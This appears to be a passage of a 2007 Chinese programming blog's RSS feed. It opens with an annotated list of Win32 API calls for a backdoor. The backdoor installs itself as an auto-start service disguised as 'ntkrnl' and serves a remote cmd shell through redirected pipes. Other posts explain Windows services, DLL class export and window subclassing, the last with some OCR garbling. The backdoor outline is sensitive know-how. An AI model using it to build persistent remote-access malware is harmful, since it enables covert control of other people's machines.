2.服务程序相关函数&nbsp;<br><br>SERVICE_TABLE_ENTRY&nbsp;DispatchTable[]&nbsp;=&nbsp;<br>{&nbsp;<br>{"ntkrnl",CmdStart},&nbsp;<br>//服务程序的名称和入口点；&nbsp;<br>{NULL&nbsp;,NULL&nbsp;}&nbsp;<br>//SERVICE_TABLE_ENTRY结构必须以&#8220;NULL&#8221;结束；&nbsp;<br>};&nbsp;<br>StartServiceCtrlDispatcher(DispatchTable);&nbsp;<br>//连接服务控制管理器，开始控制调度程序线程；&nbsp;<br>ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);&nbsp;<br>//注册CmdControl函数为&#8220;HandlerEx&#8221;函数，并初始化；&nbsp;<br>ServiceStatus.dwCurrentState&nbsp;=&nbsp;SERVICE_RUNNING;&nbsp;<br>SetServiceStatus(ServiceStatusHandle,&amp;ServiceStatus)；&nbsp;<br>//设置服务的当前状态为SERVICE_RUNNING；&nbsp;<br>hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);&nbsp;<br>//创建服务主线程，实现后门功能；&nbsp;<br>WaitForSingleObject(hMutex,INFINITE);&nbsp;<br>//等待互斥量，控制全局变量的同步使用；&nbsp;<br>TerminateProcess(lpProcessDataHead-&gt;hProcess,1);&nbsp;<br>//终止创建的Cmd进程；&nbsp;<br>hSearch=FindFirstFile(lpImagePath,&amp;FileData);&nbsp;<br>//查找系统目录下服务程序的文件是否已经存在；&nbsp;<br>GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);&nbsp;<br>//获得当前进程的程序文件名；&nbsp;<br>CopyFile(lpCurrentPath,lpImagePath,FALSE);&nbsp;<br>//复制文件到系统目录下；&nbsp;<br>schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);&nbsp;<br>//打开服务控制管理器数据库；&nbsp;<br>CreateService(schSCManager,"ntkrnl","ntkrnl",<br>　SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,<br>　"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);&nbsp;<br>//创建服务，参数包括名称，服务类型，开始类型，错误类型及文件路径等；&nbsp;<br>schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);&nbsp;<br>//如果服务已经创建，则打开服务；&nbsp;<br>StartService(schService,0,NULL);&nbsp;<br>//启动服务进程；&nbsp;<br>ControlService(schService,SERVICE_CONTROL_STOP,&amp;RemoveServiceStatus);&nbsp;<br>//控制服务状态；&nbsp;<br>DeleteService(schService);&nbsp;<br>//卸载服务程序；&nbsp;<br>DeleteFile(lpImagePath);&nbsp;<br>//删除文件；&nbsp;&nbsp;<br><br><br>　　3.后门程序相关函数&nbsp;<br><br>hMutex=CreateMutex(NULL,FALSE,NULL);&nbsp;<br>//创建互斥量；&nbsp;<br>hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&amp;sClient,0,NULL);&nbsp;<br>//创建处理客户端访问的重定向输入输出线程；&nbsp;<br>CreatePipe(&amp;hReadPipe,&amp;hReadShell,&amp;saPipe,0);&nbsp;<br>CreatePipe(&amp;hWriteShell,&amp;hWritePipe,&amp;saPipe,0);&nbsp;<br>//创建用于进程间通信的输入/输出管道；&nbsp;<br>CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&amp;lpStartupInfo,&amp;lpProcessInfo);&nbsp;<br>//创建经重定向输入输出的Cmd进程；&nbsp;<br>hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&amp;sdRead,0,&amp;dwSendThreadId);&nbsp;<br>hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID&nbsp;*)&amp;sdWrite,0,&amp;dwReavThreadId);&nbsp;<br>//创建处理Cmd输入输出的线程；&nbsp;<br>dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);&nbsp;<br>//等待线程或进程的结束；&nbsp;<br>ReleaseMutex(hMutex);&nbsp;<br>//释放互斥量；&nbsp;<br>PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&amp;dwBufferRead,NULL,NULL);&nbsp;<br>//从管道中复制数据到缓冲区中，但不从管道中移出；&nbsp;<br>ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&amp;dwBufferRead,NULL);&nbsp;<br>//从管道中复制数据到缓冲区中；&nbsp;<br>WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&amp;dwBufferWritten,NULL);&nbsp;<br>//向管道中写入从客户端接收到的数据；&nbsp;<br>dwErrorCode=WNetAddConnection2(&amp;NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);&nbsp;<br>//与远程主机建立连接；&nbsp;<br>WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);&nbsp;<br>//与远程主机结束连接；&nbsp;&nbsp;<br>
<div name="blog_sub_st" id="blog_sub_st"><br></div>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28500.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 17:06 <a href="http://www.cppblog.com/mydriverc/articles/28500.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>浅析Win2K/XP服务与后门技术-1</title><link>http://www.cppblog.com/mydriverc/articles/28499.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 09:05:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28499.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28499.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28499.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28499.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28499.html</trackback:ping><description><![CDATA[<br>
一、序言&nbsp;<br><br>　　Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准，
它们会在登录系统时自动运行，甚至在没有用户登录系统的情况下也会正常执行，类似与UNIX系统中的守护进程(daemon)。它们大多是控制台程序，不
过也有少数的GUI程序。本文所涉及到的服务程序仅限于Windows2000/XP系统中的一般服务程序，不包含Windows9X。<br><br>　　二、Windows服务简介&nbsp;<br><br>
服务控制管理器拥有一个在注册表中记录的数据库，包含了所有已安装的服务程序和设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求
和控制访问权限。Windows服务包括四大部分：服务控制管理器(Service&nbsp;Control&nbsp;Manager)，服务控制程序
(Service&nbsp;Control&nbsp;Program)，服务程序(Service&nbsp;Program)和服务配置程序
(Service&nbsp;Configuration&nbsp;Program)。&nbsp;<br><br>　　1.服务控制管理器(SCM)&nbsp;<br><br>　　服务控制管理器在系统启动的早期由Winlogon进程启动，可执行文件名是&#8220;Admin＄\System32\Services.exe&#8221;，它是系统中的一个RPC服务器，因此服务配置程序和服务控制程序可以在远程操纵服务。它包括以下几方面的信息：&nbsp;<br><br>
已安装服务数据库：服务控制管理器在注册表中拥有一个已安装服务的数据库，它在服务控制管理器和程序添加，删除，配置服务程序时使用，在注册表中数据库
的位置为：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子键，每个子键的名
字就代表一个对应的服务。数据库中包括：服务类型(私有进程，共享进程)，启动类型(自动运行，由服务控制管理器启动，无效)，错误类型(忽略，常规错
误，服务错误，关键错误)，执行文件路径，依赖信息选项，可选用户名与密码。&nbsp;<br><br>　　自动启动服务：系统启动时，服务控制管理器启动所有&#8220;自启&#8221;服务和相关依赖服务。服务的加载顺序：顺序装载组列表：<br><br>　　HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder；指定组列表：　　　　<br>　　HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList；每个服务所依赖的服务程序。<br><br>　　在系统成功引导后会保留一份LKG(Last-Know-Good)的配置信息位于：<br><br>　　HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。&nbsp;<br><br>　　因要求而启动服务：用户可以使用服务控制面板程序来启动一项服务。服务控制程序也可以使用StartService来启动服务。服务控制管理器会进行下面的操作：获取帐户信息，登录服务项目，创建服务为悬挂状态，分配登录令牌给进程，允许进程执行。&nbsp;<br><br>　　服务记录列表：每项服务在数据库中都包含了下面的内容：服务名称，开始类型，服务状态(类型，当前状态，接受控制代码，退出代码，等待提示)，依赖服务列表指针。&nbsp;<br><br>　　服务控制管理器句柄：服务控制管理器支持句柄类型访问以下对象：已安装服务数据库，服务程序，数据库的锁开状态。&nbsp;<br><br>　　2.服务控制程序(SCP)&nbsp;<br><br>　　服务控制程序可以执行对服务程序的开启，控制和状态查询功能：&nbsp;<br><br>
开启服务：如果服务的开启类型为SERVICE_DEMAND_START，就可以用服务控制程序来开始一项服务。在开始服务的初始化阶段服务的当前状
态为：SERVICE_START_PENDING，而在初始化完成后的状态就是：SERVICE_RUNNING。&nbsp;<br><br>　　向正在运行的
服务发送控制请求：控制请求可以是系统默认的，也可以是用户自定义的。标准控制代码如下：停止服务(SERVICE_CONTROL_STOP)，暂停服
务(SERVICE_CONTROL_PAUSE)，恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息
(SERVICE_CONTROL_INTERROGATE)。&nbsp;<br><br>　　3.服务程序&nbsp;<br><br>　　一个服务程序可能拥有一个或多
个服务的执行代码。我们可以创建类型为SERVICE_WIN32_OWN_PROCESS的只拥有一个服务的服务程序。而类型为
SERVICE_WIN32_SHARE_PROCESS的服务程序却可以包含多个服务的执行代码。详情参见后面的Windows服务与编程。&nbsp;<br><br>　　4.服务配置程序&nbsp;<br><br>　　编程人员和系统管理员可以使用服务配置程序来更改，查询已安装服务的信息。当然也可以通过注册表函数来访问相关资源。<br><br>　　服务的安装，删除和列举：我们可以使用相关的系统函数来创建，删除服务和查询所有服务的当前状态。&nbsp;<br><br>　　服务配置：系统管理员通过服务配置程序来控制服务的启动类型，显示名称和相关描述信息。&nbsp;
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28499.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 17:05 <a href="http://www.cppblog.com/mydriverc/articles/28499.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何在Dll中导出class</title><link>http://www.cppblog.com/mydriverc/articles/28496.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 09:02:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28496.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28496.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28496.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28496.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28496.html</trackback:ping><description><![CDATA[如何在Dll中导出class<br>说明：新建两个工程，其中一个是dll工程（我的示例程序中这个工程名为DllClass）,另一个是测试和使用dll的工程(名字为DllClassTest)　<br>注意点：<br>
1。Dll工程编译完成后，将.lib和.dll文件拷贝到测试和使用dll的工程的适当目录下（我的程序是release目录），然后将Dll工程
中的导出类的头文件（以下简称头文件）拷贝到测试和使用dll的工程的适当目录下（在我的程序中是拷贝到此工程文件所在目录），然后把这个拷贝过来的头文
件通过下面2和3进行修改。<br>　　　2。在Dll工程中的头文件使用的是　#define　DLLCLASS_API　__declspec(dllexport)　　表示导出<br>　　　在测试和使用dll的工程中的头文件使用的是　#define　DLLCLASS_API　__declspec(dllimport)表示导入<br>　　　3。不论Dll工程的头文件如何实现（比如说包括内联函数等等），<br>　　　在测试和使用dll的工程中的头文件中全部都是声明而没有定义（即将类成员函数的实现部分去掉）<br><br>　　　4。在测试和使用dll的工程的那个文件中包含对dll库的引入，分两步：<br>
首先在是测试和使用dll的工程的setting菜单（按ALT+F7可以调出）中的LINK选项卡中的Object/Library
modules:下填写对　dll的连接，比如dll文件名字为DllClass.lib和DllClass.dll,则填写
Release/DllClass.lib(注意目录，我的程序中.lib文件是在目录release下)。<br>　　　　然后，添加对头文件的包含，比如dll文件名字为DllClass.lib和DllClass.dll,头文件为DllClass.h，则包含头文件为　#include　"DllClass.h"<br>　　　由此，就可以使用了。<br>相关源码如下：<br>dll工程中的DllClass.h　内容：<br>//此处在dll的头文件中为　dllexport,在应用文件中为dllimport<br>#define　DLLCLASS_API　__declspec(dllexport)<br><br>//导出一个类(包括其方法、属性)<br>class　DLLCLASS_API　CDllClass　{<br>public:<br>　CDllClass(void);<br>　void　MSG(const　char　*　const　str);<br>};<br><br>dll工程中的DllClass.cpp内容：<br>#include　"stdafx.h"<br>#include　"DllClass.h"<br><br>BOOL　APIENTRY　DllMain(HANDLE　hModule,DWORD　ul_reason_for_call,　LPVOID　lpReserved)<br>{<br>　switch　(ul_reason_for_call)<br>　{<br>　　case　DLL_PROCESS_ATTACH:<br>　　case　DLL_THREAD_ATTACH:<br>　　case　DLL_THREAD_DETACH:<br>　　case　DLL_PROCESS_DETACH:<br>　　　break;<br>　}<br>　return　TRUE;<br>}<br><br>CDllClass::CDllClass()<br>{　<br>　return;　<br>}<br><br>void　CDllClass::MSG(const　char　*　const　str)<br>{<br>　　MessageBox(NULL,str,"",MB_OK);<br>}<br><br>Dll测试工程中的DllClass.h内容：<br>//此处在dll的头文件中为　dllexport,在应用文件中为dllimport<br>#define　DLLCLASS_API　__declspec(dllimport)<br><br>//导出一个类(包括其方法、属性)<br>class　DLLCLASS_API　CDllClass　{<br>public:<br>　CDllClass(void);<br>　void　MSG(const　char　*　const　str);<br>};<br>Dll测试工程中DllClassTest.cpp内容：<br>首部：<br>#include　"DllClass.h"<br>class　DllClass;<br><br>代码部分：<br>　CDllClass　　CTest;<br>　CTest.MSG("this　is　a　string　into　dll"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" border="0"></a>;<br>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28496.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 17:02 <a href="http://www.cppblog.com/mydriverc/articles/28496.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>窗口子类化和超类化技术的应用------好!!!!!</title><link>http://www.cppblog.com/mydriverc/articles/28392.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Thu, 19 Jul 2007 16:35:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28392.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28392.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28392.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28392.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28392.html</trackback:ping><description><![CDATA[在讲述窗口的子类化和超类化之前，我们必须 先了解windows窗口类的概念。windows的窗口类 是windos 用来创建窗口的依据之一，每个窗口 必然属于某个窗口类。窗口类是一个窗口模板，包 含一个窗口所具有的部分窗口属性。编写一个windows程序时，首先要做的工作就是注册一个窗 口类，然后基于此注册的窗口类创建一个新的窗 口。在 windows平台中，注册窗口类的函数是 RegisterClass和 RegisterClassEX， 其 中 RegisterClassEx是推荐使用的函数，使用这个函数注册窗 口类时，需要先填写一个 WNDCLASS结构。这 个结构实际上反映了一个窗口类的特征，一个窗口 类有本类所有窗口公用的类属性、窗口函数、类图 标和小图标、类鼠标、窗口背景刷、类菜单，当然还 有类名。除此之外，每个类还有一定大小的类存储<br>区，可以用来存储该类的公共数据。 每一个创建的窗口都有一个窗口函数，其地址 由结构的 wndclASS参数lpfnWndProc设定， 该窗口函数处理对应于该窗口类的所有实例的消 息。当创建一个窗口时，windows 将分配一个内存 块，用来存放与该窗口相关的信息，并将参数 lpfnWndClass 从窗口类内存块拷贝到该内存块中。当消 息被分发到窗口时， windows 检查该窗口中内存块 中的 lpfnWndClass值，并调用该内存块地址上的窗 口函数。 <br>一个窗口的行为主要取决于它的窗口函数，如 果能够改变一个窗口的窗口函数，使它指向自己写 的某个函数，那就意味着发给这个窗口的各种消息 将由我们自己写的这个函数来处理。 <span style="font-weight: bold;">子类化一个窗口，实际上就是改变窗口内存块 中的窗口函数的地址，使其指向用户自定义的新的 窗口函数入口，以实现用户希望的窗口特性。 超类化则是利用原来的那个窗口类的某些特 征，改变它另外的一些特征，包括窗口函数，重新注 册一个新的窗口类。 超类化和子类化的共同之处就是，这两种方法 都是从一个已经存在的窗口类产生新的窗口或窗 口类的方法，新的窗口或窗口类具有原来的窗口类 的某些特征，也具有一些新增的特征。但子类化是 从窗口的角度出发的，而超类化是从窗口类的角度 出发的。<br><br></span>&nbsp;&nbsp;&nbsp; 窗日了类化技术最大的特点就是能够截取eindows的消息。一日_用户自定义的窗日函数截取犷传向原窗日函数的消息，就可以对被截取的消息进行如下处理曰:<br>&nbsp;&nbsp;&nbsp; .将其传给原来的窗日函数。这是对大多数消息应该采取的措施，因为了类通常只对原来的窗日特性作少量的修改。<br>&nbsp;&nbsp;&nbsp; .截取该消息，阻止其向原窗日函数发送。<br>&nbsp;&nbsp;&nbsp; .修改该消息，修改完毕以后再向原窗口函数发送。<br><br>GetWindowLong SetWindowLong<br><br><br>&nbsp;&nbsp;&nbsp; 在Windows编程中，使用窗子类化技术，可以方便地达到改变一个窗日的特性的日的。但了<br>子类化也存在其局限性。实际上，<span style="font-weight: bold;">了类化的概念是针对一个己经创建的窗口来谈的，所以修改窗口函数</span><br style="font-weight: bold;"><span style="font-weight: bold;">是在窗口创建之后进行的，在窗口创建期间的消息无法捕获，也就无法处理。</span>另外有些窗日的特性与<br>窗日类本身的属性有关。比如如果一个窗日类没有CS_ DBLCLKS属性的话，那么要通过了类化这些窗u达到处理WM_ LBUTTOIVDBLCLK消息的日的。对于了类化的以上局限性，可以通过窗口的超类化技术来消除。实际上超类化可以完全实现了类化的功能。<br><br><br>&nbsp;&nbsp;&nbsp; 超类化需要注册一个新的窗日类，达到改变窗日类的各种特征的目的。超类化实现的简单过程是<br>获得一个己经存在的窗日类的特征，然后改变这些特征，最后重新注册一个窗日类。具体的步骤如下:<br>&nbsp;&nbsp;&nbsp; ①定义一个类型为WNDCLASSEX的变量。因为需要注册新的窗日类，定义这个变量是必要的。<br>&nbsp;&nbsp;&nbsp; ②调用GetClasslnfoEx函数得到希望超类化的那个窗口类的信息。<br>&nbsp;&nbsp;&nbsp; ③改变窗口类的基本特征，显然窗口类名和模块句柄hlnstance是必须改变的。注意如果需要改<br>变窗口类的窗口函数的话，在改变窗口函数之前应该保存原来的窗口函数，井且在新的窗日函数中把<br>不需要处理的消息传递给原来的窗口函数，以保留原窗口类的一些特征。<br>&nbsp;&nbsp;&nbsp; ④利用修改后的WIVDCLASSEX变量，调用RegisterClassEX函数重新注册一个新的窗u类。<br>&nbsp;&nbsp;&nbsp; ⑤创建这个新窗日类的一个窗日实例。<br><br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1)用MFC Application Wizard新建一个MDl<br>程序SuperClassingo<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2)利用ClassWizard建一个从 CWnd类派生<br>的新类CDblClkWnd。添加MDl客户窗口对左键双<br>击的处理函数:<br><br><img src="file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/moz-screenshot.jpg" alt=""><img src="file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/moz-screenshot-1.jpg" alt="">3）重新注册一个窗口类，进行超类化。<br>BOOL CDblClkWnd::RegisterNewClass()<br>{<br>&nbsp;&nbsp;&nbsp; WNDCLASS wc;<br>&nbsp;&nbsp;&nbsp; if(!GetClassInfo(NULL,"MDIClient",&amp;wc))<br>&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;<br>&nbsp;&nbsp; wc.style=SC_DBLCLKS;<br>&nbsp;&nbsp; wc.lpszClassName="<span style="font-weight: bold;">DBLCLCMDIClient</span>";修改名字<br>&nbsp;&nbsp; return RegisterClass(&amp;wc);<br><br>}<br>在APP类的InitInstance函数前创建主框架的代码前调用上面的注册新窗口的类的代码<br>if(!CDblClkWnd::RegisterNewClass())<br>return false;<br><br><br>在使用CreateWindowEx创建MDI客户窗口的时候，把原来的窗口类MDIClient改为<span style="font-weight: bold;">DB LCLCMDIClient<br><br>在主窗口中添加变量CDblClkWnd m_client,在主窗口的OnCreate中对MDIClient进行子类化。在OnDestroy中进行反子类化。<br></span><br><span style="font-weight: bold;"><br>pclient.SuhclassWindow(phWndMDlClient);<br><br>
m client.UnsubclassWindow()://反子类化<br><br>
<br style="font-weight: bold;"></span><br><br> <img src ="http://www.cppblog.com/mydriverc/aggbug/28392.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-20 00:35 <a href="http://www.cppblog.com/mydriverc/articles/28392.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>